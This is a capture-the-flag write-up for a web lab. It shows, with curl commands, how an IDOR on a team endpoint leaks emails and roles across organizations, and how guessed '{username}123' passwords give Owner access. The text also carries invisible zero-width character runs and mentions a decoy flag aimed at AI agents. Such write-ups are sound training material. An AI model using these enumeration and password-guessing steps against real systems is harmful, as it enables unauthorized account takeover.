Lab 7 — TeamForge - Privilege Escalation via Invitation Flow

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-26 | Status: Solved Techniques: broken_access_control, credential_guessing, idor_exploitation, password_pattern_attack

Summary

Task: Team collaboration platform with RBAC (Owner/Admin/Member) and invitation system. Solution: IDOR on /org/{id}/team leaked user emails across organizations, then weak passwords ({username}123) allowed login as Owner to access admin dashboard.

Lab 7 — TeamForge - Privilege Escalation via Invitation Flow — HackAdvisor

Description

TeamForge is a modern team collaboration platform with role-based access control (Owner, Admin, Member). The platform allows creating teams, inviting members, and managing projects. You have a regular Member account. The platform has an invitation system that allows team owners to invite new members with different roles. Your goal is to find a logic flaw that allows you to escalate your privileges.

Objective: Escalate your privileges from a regular Member to Admin or Owner. The flag is displayed on the admin dashboard which is only accessible to users with elevated privileges.

Test credentials: user@test.com / password123

Hint: The platform has multiple organizations. Explore what information is visible to authenticated users across different organization pages. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A team collaboration platform with role-based access control. Starting as a Member, the goal is to escalate privileges to Owner/Admin to access the admin dashboard containing the flag.

Analysis

The application implements a three-tier RBAC system:

• Owner: Full access including security settings
• Admin: Can manage team settings but not security
• Member: Basic access only

Key discovery: The /org/{id}/team endpoint has broken access control - it's accessible to any authenticated user regardless of their organization membership. This IDOR vulnerability leaks:

1. All member emails and their roles
2. Pending invitation emails and assigned roles ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Additionally, users follow a predictable password pattern: {username}123

Solution

Step 1: Initial Reconnaissance

Login with provided test credentials:

Email: user@test.com
Password: password123

User is a Member of "Beta Labs" (org 2). Discovered navigation links:

• /org/2 - Organization dashboard
• /org/2/projects - Projects page
• /org/2/team - Team members
• /invitations - Pending invitations

Step 2: IDOR Discovery

Attempted to access other organization's resources:

 bash read-only • copy allowed Copy
# Direct org access - blocked
curl -b cookies.txt https://target/org/1
# Response: "You are not a member of this organization"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Team page - ACCESSIBLE! (IDOR vulnerability)
curl -b cookies.txt https://target/org/1/team
# Response: Full team listing with emails and roles

Step 3: Information Disclosure via IDOR

From /org/1/team (Acme Corp):

From /org/2/team (Beta Labs):

Step 4: Weak Password Exploitation

Discovered users followed predictable password pattern: {username}123

 bash read-only • copy allowed Copy
# Test Admin account
curl -X POST https://target/login \
  -d "email=jordan@beta.com&password=jordan123"
# SUCCESS - Logged in as Admin

# Test Owner account  
curl -X POST https://target/login \
  -d "email=alex@beta.com&password=alex123"
# SUCCESS - Logged in as Owner

Step 5: Privilege Escalation & Flag Retrieval

As alex@beta.com (Owner of org 2):

 bash read-only • copy allowed Copy
# Access security settings (Owner-only)
curl -b alex_cookies.txt https://target/org/2/settings/security

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag was displayed in the "Master API Key" field on the security settings page.

Vulnerabilities Summary

Anti-Bot Measures

The application contained hidden HTML comments with decoy flags like FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} designed to trick automated scanners and AI agents. These honeypots should be ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍